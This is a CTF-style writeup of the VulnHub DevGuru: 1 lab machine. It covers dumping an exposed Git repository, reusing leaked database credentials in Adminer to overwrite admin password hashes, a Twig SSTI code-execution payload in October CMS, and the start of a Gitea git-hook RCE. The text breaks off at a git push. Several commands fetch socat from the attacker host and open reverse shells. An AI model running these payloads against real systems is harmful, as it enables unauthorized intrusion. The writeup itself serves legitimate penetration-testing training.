Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

DevGuru: 1 | August 18, 2023

Introduction

Welcome to my another writeup! In this VulnHub DevGuru: 1 box, you’ll learn: Dumping Git repository from a website, enumerating and modifying database’s data in Adminer, exploiting authenticated SSTI in October CMS and authenticated RCE in Gitea version 1.12.5, bypassing sudo policy blacklist via CVE-2019-14287, privilege escalation via misconfigurated Sudo permission in sqlite3, and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: www-data to frank
  4. Privilege Escalation: frank to root
  5. Conclusion

Background

DevGuru is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.

OSCP like ~ Real life based

Difficulty: Intermediate (Depends on experience)

Service Enumeration

Host discovery:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:42:15(HKT)]
└> sudo netdiscover -r 10.69.96.0/24
[...]
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                          
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.69.96.1      00:50:56:c0:00:08      1      60  VMware, Inc.                                           
 10.69.96.2      00:50:56:ef:bb:e8      1      60  VMware, Inc.                                           
 10.69.96.75     00:0c:29:af:e6:87      1      60  VMware, Inc.                                           
 10.69.96.200    00:50:56:ee:65:6a      1      60  VMware, Inc.

Create 2 environment variables for future use:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:42:53(HKT)]
└> export RHOSTS=10.69.96.75
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:42:55(HKT)]
└> export LHOST=`ifconfig eth0 | grep -E 'inet [0-9]+\.[0-9]+\.[0-9]+\.[0-9]' | cut -d' ' -f10`

As usual, scan the machine for open ports via rustscan and nmap!

Rustscan:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:43:05(HKT)]
└> mkdir scanning; rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN scanning/rustscan.txt
[...]
Open 10.69.96.75:22
Open 10.69.96.75:80
Open 10.69.96.75:8585
[...]
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lft/kQdC+3L4qMerPmpboe5GOrB60x+QU0R7hjmxY+9bNqST//1+Oa7ycVotqdlk4EtxgnqE2B4mRTNb16mITv/Y8UfsCqYAuy3C8lV9HzG6zgsXgnAhvpMmY31fZqz+dKamnp1W1o+scbnzRNqr/fE1+Yz7Fcu4JvAJ/4NLQS9CHmZh+N12OyF8eVOQmjPeRVHR8BiptinM+EXis4xpOQiuZoEBPkyqhXcBW65CAXlkjuuJ6KpJ7Y3Gbse38L6LKGFs8Hl5k1jbuTxDg8CT+rzzy6on8niDDfcVwHTvZ1JqlUpzjaGifDD8gV60ebRa5/36ORI+ed6G9v1HOW3r
|   256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQzBnXE0Ezf7XOzh2KxdMAetOtoTEmfiCh2OSwjnIpAzd1osDr7UsuNt/5m45OgfWVAcVnu3ECEuQZ03P4VxkU=
|   256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINjsvy3HYYZxlENx0Fmval1Ax8ApGBKu6wf5sjK8xuv2
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corp - DevGuru
| http-git: 
|   10.69.96.75:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: first commit 
|     Remotes:
|       http://devguru.local:8585/frank/devguru-website.git
|_    Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: DevGuru
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
8585/tcp open  unknown syn-ack
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
[...]
|     <title> Gitea: Git with a cup of tea </title>
[...]
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap UDP port scan:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:43:07(HKT)]
└> sudo nmap -sU $RHOSTS -oN scanning/nmap-udp-top1000.txt
[...]
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

According to rustscan and nmap result, the target machine has 3 ports are opened:

Open Port Service
22/TCP OpenSSH 7.6p1 Ubuntu
80/TCP Apache httpd 2.4.29 ((Ubuntu))
8585/TCP HTTP (Gitea)

HTTP on TCP port 80

Home page:

In here, we can see that there’s a domain called devguru.local.

Adding that domain to /etc/hosts:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:46:05(HKT)]
└> echo "$RHOSTS devguru.local" | sudo tee -a /etc/hosts
10.69.96.75 devguru.local

In the footer, there’s a copy right statement, and this web application is a HTML template made by Themefisher.

We can also perform content discovery via tools like gobuster to find hidden directories and files:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|14:49:04(HKT)]
└> gobuster dir -u http://devguru.local/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 40
[...]
/themes               (Status: 301) [Size: 315] [--> http://devguru.local/themes/]
/config               (Status: 301) [Size: 315] [--> http://devguru.local/config/]
/about                (Status: 200) [Size: 18661]
/services             (Status: 200) [Size: 10032]
/backend              (Status: 302) [Size: 410] [--> http://devguru.local/backend/backend/auth]
/plugins              (Status: 301) [Size: 316] [--> http://devguru.local/plugins/]
/Services             (Status: 200) [Size: 10032]
/modules              (Status: 301) [Size: 316] [--> http://devguru.local/modules/]
/storage              (Status: 301) [Size: 316] [--> http://devguru.local/storage/]
/0                    (Status: 200) [Size: 12669]
/vendor               (Status: 301) [Size: 315] [--> http://devguru.local/vendor/]
/About                (Status: 200) [Size: 18661]
/ABOUT                (Status: 200) [Size: 18661]
[...]
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|15:03:39(HKT)]
└> gobuster dir -u http://devguru.local/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 10
[...]
/index.php            (Status: 200) [Size: 12719]
/.htaccess            (Status: 200) [Size: 1678]
/server.php           (Status: 200) [Size: 0]
/.git                 (Status: 301) [Size: 313] [--> http://devguru.local/.git/]
/.gitignore           (Status: 200) [Size: 413]

/backend/backend/auth:

When we go there, it redirects us to /backend/backend/auth/sigin.

Upon researching, the web application seems like using a CMS (Content Management System) called “October CMS”.

We also found /.git/ Git repository in both gobuster and nmap result. Which means the web application is using version control:

However, /.git/ has no index listing.

Luckily, we can dump the Git repository via git-dumper:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|15:08:57(HKT)]
└> mkdir git_dumped
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|15:09:00(HKT)]
└> git-dumper http://devguru.local/.git git_dumped 
[-] Testing http://devguru.local/.git/HEAD [200]
[-] Testing http://devguru.local/.git/ [404]
[-] Fetching common files
[...]
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|15:10:00(HKT)]
└> cd git_dumped 
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/git_dumped)-[2023.08.18|15:10:12(HKT)]-[git://master ✔]
└> ls -lah           
total 416K
drwxr-xr-x 9 siunam nam 4.0K Aug 18 15:09 .
drwxr-xr-x 4 siunam nam 4.0K Aug 18 15:08 ..
-rw-r--r-- 1 siunam nam 355K Aug 18 15:09 adminer.php
-rw-r--r-- 1 siunam nam 1.7K Aug 18 15:09 artisan
drwxr-xr-x 2 siunam nam 4.0K Aug 18 15:09 bootstrap
drwxr-xr-x 2 siunam nam 4.0K Aug 18 15:09 config
drwxr-xr-x 7 siunam nam 4.0K Aug 18 15:09 .git
-rw-r--r-- 1 siunam nam  413 Aug 18 15:09 .gitignore
-rw-r--r-- 1 siunam nam 1.7K Aug 18 15:09 .htaccess
-rw-r--r-- 1 siunam nam 1.2K Aug 18 15:09 index.php
drwxr-xr-x 5 siunam nam 4.0K Aug 18 15:09 modules
drwxr-xr-x 3 siunam nam 4.0K Aug 18 15:09 plugins
-rw-r--r-- 1 siunam nam 1.5K Aug 18 15:09 README.md
-rw-r--r-- 1 siunam nam  551 Aug 18 15:09 server.php
drwxr-xr-x 6 siunam nam 4.0K Aug 18 15:09 storage
drwxr-xr-x 4 siunam nam 4.0K Aug 18 15:09 themes

Nice!

After some digging, the October CMS’s database credentials can be found in config/database.php:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/git_dumped)-[2023.08.18|15:10:58(HKT)]-[git://master ✔]
└> cat config/database.php
[...]
        'mysql' => [
            'driver'     => 'mysql',
            'engine'     => 'InnoDB',
            'host'       => 'localhost',
            'port'       => 3306,
            'database'   => 'octoberdb',
            'username'   => 'october',
            'password'   => '{Redacted}',
            'charset'    => 'utf8mb4',
            'collation'  => 'utf8mb4_unicode_ci',
            'prefix'     => '',
            'varcharmax' => 191,
        ],
[...]

Let’s view the repository’s commit logs:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/git_dumped)-[2023.08.18|15:14:17(HKT)]-[git://master ✔]
└> git log   
commit 7de9115700c5656c670b34987c6fbffd39d90cf2 (HEAD -> master, origin/master)
Author: frank <frank@devguru.local>
Date:   Thu Nov 19 18:42:03 2020 -0600

    first commit

Hmm… It only has 1 commit. Also, we found a user called frank.

Check October CMS version:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/git_dumped)-[2023.08.18|15:17:49(HKT)]-[git://master ✔]
└> cat storage/system.json | jq .
{
  "build": 469
}

After searching about this build version, I found no vulnerability against it.

We can try to login as frank in the October CMS using the database user’s password:

Nope…

HTTP on TCP port 8585

Home page:

In here, we found TCP port 8585 is hosting the Gitea service, and its version is 1.12.5.

Gitea is a lightweight DevOps platform. It brings teams and developers high-efficiency but easy operations from planning to production. (From https://about.gitea.com/)

We can search for public exploits about this version of Gitea via searchsploit, an offline version of Exploit-DB:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|15:22:07(HKT)]
└> searchsploit gitea 1.12.5
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Gitea 1.12.5 - Remote Code Execution (Authenticated)                 | multiple/webapps/49571.py
--------------------------------------------------------------------- ---------------------------------
[...]

Oh! It’s vulnerable to RCE (Remote Code Execution), however, it requires authentication, which means we need valid credentials.

In the “Explore” page’s users section, we can find a Gitea user:

In this user, it has no public repository.

I also tried to login as frank with the October CMS database user’s password, but no dice.

Hmm… Can we register a new account?

No we can’t…

Let’s take a step back.

After digging much deeper on the dumped Git repository, I found an October CMS session in storage/framework/sessions/:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/git_dumped)-[2023.08.18|15:44:48(HKT)]-[git://master ✔]
└> cat storage/framework/sessions/fE15ry9gija5yG3n2dnCiBEplMWBFP53zsKRRNAh 
a:8:{s:6:"_token";s:40:"eZHozMsXJwcKYK5lTi4HNUBaVy0UHhLMrzaBiLD6";s:9:"_previous";a:1:{s:3:"url";s:20:"http://devguru.local";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:3:"url";a:0:{}s:10:"admin_auth";a:2:{i:0;i:1;i:1;s:60:"$2y$10${Redacted}";}s:6:"locale";s:2:"en";s:15:"fallback_locale";s:2:"en";s:6:"widget";a:6:{s:31:"cms-Index-TemplateList-pageList";s:100:"YToyOntzOjg6InNlbGVjdGVkIjthOjA6e31zOjE0OiJncm91cHNidXNpbmVzcyI7YToxOntzOjQ6ImJsb2ciO3M6MToiMSI7fX0=";s:34:"cms-Index-TemplateList-partialList";s:1044:"YToyOntzOjg6InNlbGVjdGVkIjthOjE5OntzOjE3OiJibG9nL2Jsb2dQb3N0Lmh0bSI7czoxOiIwIjtzOjE5OiJibG9nL2NhdGVnb3JpZXMuaHRtIjtzOjE6IjAiO3M6MTQ6ImJsb2cvcG9zdHMuaHRtIjtzOjE6IjAiO3M6MjM6ImdlbmVyaWNGb3JtL2RlZmF1bHQuaHRtIjtzOjE6IjAiO3M6MjU6ImdlbmVyaWNGb3JtL3JlY2FwdGNoYS5odG0iO3M6MToiMCI7czoxNDoiaG9tZS9hYm91dC5odG0iO3M6MToiMCI7czoyMDoiaG9tZS9jb250YWN0aG9tZS5odG0iO3M6MToiMCI7czoxNjoiaG9tZS9jb3VudGVyLmh0bSI7czoxOiIwIjtzOjEyOiJob21lL2N0YS5odG0iO3M6MToiMCI7czoxNDoiaG9tZS9pbnRyby5odG0iO3M6MToiMCI7czoxNzoiaG9tZS9zZXJ2aWNlcy5odG0iO3M6MToiMCI7czoxNToiaG9tZS9zbGlkZXIuaHRtIjtzOjE6IjAiO3M6MjA6ImhvbWUvdGVzdGltb25pYWwuaHRtIjtzOjE6IjAiO3M6MjQ6InNpdGUvYmxvZ2ludHJvaGVhZGVyLmh0bSI7czoxOiIwIjtzOjI5OiJzaXRlL2Jsb2dzaW5nbGVwb3N0aGVhZGVyLmh0bSI7czoxOiIwIjtzOjE1OiJzaXRlL2Zvb3Rlci5odG0iO3M6MToiMCI7czoxNToic2l0ZS9oZWFkZXIuaHRtIjtzOjE6IjAiO3M6MTM6InNpdGUvbWV0YS5odG0iO3M6MToiMCI7czoxNjoic2l0ZS9zY3JpcHRzLmh0bSI7czoxOiIwIjt9czoxNDoiZ3JvdXBzYnVzaW5lc3MiO2E6NDp7czo0OiJob21lIjtzOjE6IjEiO3M6NDoiYmxvZyI7czoxOiIxIjtzOjExOiJnZW5lcmljRm9ybSI7czoxOiIxIjtzOjQ6InNpdGUiO3M6MToiMSI7fX0=";s:33:"cms-Index-TemplateList-layoutList";s:36:"YToxOntzOjg6InNlbGVjdGVkIjthOjA6e319";s:34:"cms-Index-TemplateList-contentList";s:36:"YToxOntzOjg6InNlbGVjdGVkIjthOjA6e319";s:31:"backend-Users-Filter-listFilter";s:40:"YToxOntzOjEzOiJzY29wZS1yb2xlX2lkIjtOO30=";s:19:"backend-Users-Lists";s:44:"YToxOntzOjE1OiJsYXN0VmlzaXRlZFBhZ2UiO2k6MTt9";}}

Based on my experience, the above session file is a PHP serialized object.

We can deserialize it:

<?php
$sessionObject = 'a:8:{s:6:"_token";s:40:"eZHozMsXJwcKYK5lTi4HNUBaVy0UHhLMrzaBiLD6";s:9:"_previous";a:1:{s:3:"url";s:20:"http://devguru.local";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:3:"url";a:0:{}s:10:"admin_auth";a:2:{i:0;i:1;i:1;s:60:"$2y$10${Redacted}";}s:6:"locale";s:2:"en";s:15:"fallback_locale";s:2:"en";s:6:"widget";a:6:{s:31:"cms-Index-TemplateList-pageList";s:100:"YToyOntzOjg6InNlbGVjdGVkIjthOjA6e31zOjE0OiJncm91cHNidXNpbmVzcyI7YToxOntzOjQ6ImJsb2ciO3M6MToiMSI7fX0=";s:34:"cms-Index-TemplateList-partialList";s:1044:"YToyOntzOjg6InNlbGVjdGVkIjthOjE5OntzOjE3OiJibG9nL2Jsb2dQb3N0Lmh0bSI7czoxOiIwIjtzOjE5OiJibG9nL2NhdGVnb3JpZXMuaHRtIjtzOjE6IjAiO3M6MTQ6ImJsb2cvcG9zdHMuaHRtIjtzOjE6IjAiO3M6MjM6ImdlbmVyaWNGb3JtL2RlZmF1bHQuaHRtIjtzOjE6IjAiO3M6MjU6ImdlbmVyaWNGb3JtL3JlY2FwdGNoYS5odG0iO3M6MToiMCI7czoxNDoiaG9tZS9hYm91dC5odG0iO3M6MToiMCI7czoyMDoiaG9tZS9jb250YWN0aG9tZS5odG0iO3M6MToiMCI7czoxNjoiaG9tZS9jb3VudGVyLmh0bSI7czoxOiIwIjtzOjEyOiJob21lL2N0YS5odG0iO3M6MToiMCI7czoxNDoiaG9tZS9pbnRyby5odG0iO3M6MToiMCI7czoxNzoiaG9tZS9zZXJ2aWNlcy5odG0iO3M6MToiMCI7czoxNToiaG9tZS9zbGlkZXIuaHRtIjtzOjE6IjAiO3M6MjA6ImhvbWUvdGVzdGltb25pYWwuaHRtIjtzOjE6IjAiO3M6MjQ6InNpdGUvYmxvZ2ludHJvaGVhZGVyLmh0bSI7czoxOiIwIjtzOjI5OiJzaXRlL2Jsb2dzaW5nbGVwb3N0aGVhZGVyLmh0bSI7czoxOiIwIjtzOjE1OiJzaXRlL2Zvb3Rlci5odG0iO3M6MToiMCI7czoxNToic2l0ZS9oZWFkZXIuaHRtIjtzOjE6IjAiO3M6MTM6InNpdGUvbWV0YS5odG0iO3M6MToiMCI7czoxNjoic2l0ZS9zY3JpcHRzLmh0bSI7czoxOiIwIjt9czoxNDoiZ3JvdXBzYnVzaW5lc3MiO2E6NDp7czo0OiJob21lIjtzOjE6IjEiO3M6NDoiYmxvZyI7czoxOiIxIjtzOjExOiJnZW5lcmljRm9ybSI7czoxOiIxIjtzOjQ6InNpdGUiO3M6MToiMSI7fX0=";s:33:"cms-Index-TemplateList-layoutList";s:36:"YToxOntzOjg6InNlbGVjdGVkIjthOjA6e319";s:34:"cms-Index-TemplateList-contentList";s:36:"YToxOntzOjg6InNlbGVjdGVkIjthOjA6e319";s:31:"backend-Users-Filter-listFilter";s:40:"YToxOntzOjEzOiJzY29wZS1yb2xlX2lkIjtOO30=";s:19:"backend-Users-Lists";s:44:"YToxOntzOjE1OiJsYXN0VmlzaXRlZFBhZ2UiO2k6MTt9";}}';

var_dump(unserialize($sessionObject));
?>
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|15:42:24(HKT)]
└> php deserialize.php
array(8) {
  ["_token"]=>
  string(40) "eZHozMsXJwcKYK5lTi4HNUBaVy0UHhLMrzaBiLD6"
  ["_previous"]=>
  array(1) {
    ["url"]=>
    string(20) "http://devguru.local"
  }
  ["_flash"]=>
  array(2) {
    ["old"]=>
    array(0) {
    }
    ["new"]=>
    array(0) {
    }
  }
  ["url"]=>
  array(0) {
  }
  ["admin_auth"]=>
  array(2) {
    [0]=>
    int(1)
    [1]=>
    string(60) "$2y$10${Redacted}"
  }
  ["locale"]=>
[...]

Oh! What’s that admin_auth attribute’s value? It seems like a password hash. However, I couldn’t crack it.

Then, I found that there’s a PHP script called adminer.php:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/git_dumped)-[2023.08.18|16:04:53(HKT)]-[git://master ✔]
└> head -n 5 adminer.php
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch, MongoDB and others via plugin. (From https://www.adminer.org/)

Initial Foothold

Now, we can try to login as October CMS’s database user october:

It worked! Let’s enumerate the database!

Go to database octoberdb:

Among those tables, table backend_users seems like holding all users’ information.

Select table backend_users:

Found user frank’s password hash!

But, it’s unable to crack:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:08:24(HKT)]
└> nano frank_october_cms.hash
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:08:29(HKT)]
└> john --wordlist=/usr/share/wordlists/rockyou.txt frank_october_cms.hash 
[...]
0g 0:00:02:19 0.13% (ETA: 2023-08-19 21:35) 0g/s 162.5p/s 162.5c/s 162.5C/s muggle..friends6

Luckily, we can just modify the password hash to login as user frank on October CMS!

<?php
echo password_hash("password", PASSWORD_DEFAULT);
?>
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:21:47(HKT)]
└> php gen_password.php 
$2y$10$O5I0hiyePdikvoUwYzQtMOEK3emjotqjxWXjZCpo15b3AuC53nCuS

Now we should be able to login as user frank:

We’re in!

After enumerating, I found that we can edit Twig templates in /backend/cms:

Twig is a modern template engine for PHP. It also has a sandbox mode, which makes SSTI (Server-Side Template Injection) much harder. (From https://twig.symfony.com/)

According to PayloadsAllTheThings, we can get RCE via Twig SSTI payload:

After some trial and error, this payload works:

{{[0]|reduce('system','id')}}

Nice! Let’s get a reverse shell!

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:32:51(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/08/18 16:32:52 socat[275576] N opening character device "/dev/pts/1" for reading and writing
2023/08/18 16:32:52 socat[275576] N listening on AF=2 0.0.0.0:443
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:33:21(HKT)]
└> file /opt/static-binaries/binaries/linux/x86_64/socat
/opt/static-binaries/binaries/linux/x86_64/socat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:33:22(HKT)]
└> python3 -m http.server -d /opt/static-binaries/binaries/linux/x86_64/ 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
{{[0]|reduce('system','wget http://10.69.96.100/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat TCP:10.69.96.100:443 EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane')}}

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:36:39(HKT)]
└> curl http://devguru.local/about

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|16:32:51(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/08/18 16:32:52 socat[275576] N opening character device "/dev/pts/1" for reading and writing
2023/08/18 16:32:52 socat[275576] N listening on AF=2 0.0.0.0:443
                                                                 2023/08/18 16:36:39 socat[275576] N accepting connection from AF=2 10.69.96.75:38068 on AF=2 10.69.96.100:443
                                                                   2023/08/18 16:36:39 socat[275576] N starting data transfer loop with FDs [5,5] and [7,7]
                                                www-data@devguru:/var/www/html$ 
www-data@devguru:/var/www/html$ export TERM=xterm-256color
www-data@devguru:/var/www/html$ stty rows 22 columns 107
www-data@devguru:/var/www/html$ ^C
www-data@devguru:/var/www/html$ whoami; hostname; id; ip a
www-data
devguru.local
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:af:e6:87 brd ff:ff:ff:ff:ff:ff
    inet 10.69.96.75/24 brd 10.69.96.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feaf:e687/64 scope link 
       valid_lft forever preferred_lft forever

I’m www-data!

Privilege Escalation

www-data to frank

After gaining initial foothold of a target machine, we need to escalate our privilege. To do so, we need to enumerate the system.

Find system users:

www-data@devguru:/var/www/html$ awk -F':' '{ if ($3 >= 1000 && $3 <= 60000) { print $1 } }' /etc/passwd
frank
www-data@devguru:/var/www/html$ ls -lah /home
total 12K
drwxr-xr-x  3 root  root  4.0K Nov 18  2020 .
drwxr-xr-x 25 root  root  4.0K Nov 19  2020 ..
drwxr-x---  7 frank frank 4.0K Nov 19  2020 frank

Found unusual app.ini.bak file in /var/backups/ directory:

www-data@devguru:/var/www/html$ ls -lah /var/backups/
total 76K
drwxr-xr-x  2 root  root  4.0K Aug 18  2023 .
drwxr-xr-x 13 root  root  4.0K Nov 19  2020 ..
-rw-r--r--  1 frank frank  56K Nov 19  2020 app.ini.bak
-rw-r--r--  1 root  root  5.6K Nov 19  2020 apt.extended_states.0
-rw-r--r--  1 root  root   719 Nov 18  2020 apt.extended_states.1.gz

/var/backups/app.ini.bak:

; This file lists the default values used by Gitea
; Copy required sections to your own app.ini (default is custom/conf/app.ini)
; and modify as needed.
; see https://docs.gitea.io/en-us/config-cheat-sheet/ for additional documentation.
[...]
RUN_USER = frank
[...]
[database]
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
DB_TYPE             = mysql
HOST                = 127.0.0.1:3306
NAME                = gitea
USER                = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD              = {Redacted}
[...]

Oh! We found Gitea’s database credentials!

Let’s login as gitea database user in Adminer:

Among those tables, table user stands out.

Select table user:

We found Gitea user frank’s password hash! However, I’m unable to crack it.

Again, we can modify the password hash and its algorithm:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:27:59(HKT)]
└> php gen_password.php 
$2y$10$y0luneMBV1AU5igeNQcUzOZwPsq3bA.zvsGJtjVO0xPsM8plSydca

Note: The original password is password.

Login as user frank in Gitea:

We’re in!!

Previously, we found that this version of Gitea is vulnerable to authenticated RCE. Let’s exploit it!

Mirror (Copy) the exploit:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:29:57(HKT)]
└> searchsploit -m 49571
  Exploit: Gitea 1.12.5 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/49571
     Path: /usr/share/exploitdb/exploits/multiple/webapps/49571.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/siunam/ctf/VulnHub/DevGuru:1/49571.py

Try to run it:

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:35:20(HKT)]
└> python2 49571.py -t http://devguru.local:8585/ -u frank -p password -I $LHOST -P 53 -v
[...]
    _____ _ _______
   / ____(_)__   __|             CVE-2020-14144
  | |  __ _   | | ___  __ _
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution
  | |__| | |  | |  __/ (_| |
   \_____|_|  |_|\___|\__,_|     GiTea versions >= 1.1.0 to <= 1.12.5
     
[+] Starting exploit ...
   [>] login('frank', ...)

Wait what?? It got stucked in the login process??

Hmm… Let’s exploit it manually.

Note: All steps in below are from https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce.

#!/bin/bash
wget http://10.69.96.100/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat TCP:10.69.96.100:53 EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:32:53(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:53
2023/08/18 17:32:53 socat[381888] N opening character device "/dev/pts/3" for reading and writing
2023/08/18 17:32:53 socat[381888] N listening on AF=2 0.0.0.0:53
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:32:27(HKT)]
└> file /opt/static-binaries/binaries/linux/x86_64/socat
/opt/static-binaries/binaries/linux/x86_64/socat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:32:33(HKT)]
└> python3 -m http.server -d /opt/static-binaries/binaries/linux/x86_64/ 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:43:38(HKT)]
└> mkdir rce; cd rce
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/rce)-[2023.08.18|17:43:52(HKT)]
└> git init
[...]
Initialized empty Git repository in /home/siunam/ctf/VulnHub/DevGuru:1/rce/.git/
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/rce)-[2023.08.18|17:43:58(HKT)]-[git://master ✔]
└> touch README.md
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/rce)-[2023.08.18|17:44:02(HKT)]-[git://master ✗]
└> git add README.md
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/rce)-[2023.08.18|17:44:05(HKT)]-[git://master ✗]
└> git commit -m "Initial commit"
[master (root-commit) 9ebe27d] Initial commit
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 README.md
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/rce)-[2023.08.18|17:44:29(HKT)]-[git://master ✔]
└> git remote add origin http://devguru.local:8585/frank/rce.git 
┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1/rce)-[2023.08.18|17:44:32(HKT)]-[git://master ✔]
└> git push -u origin master
Username for 'http://devguru.local:8585': frank
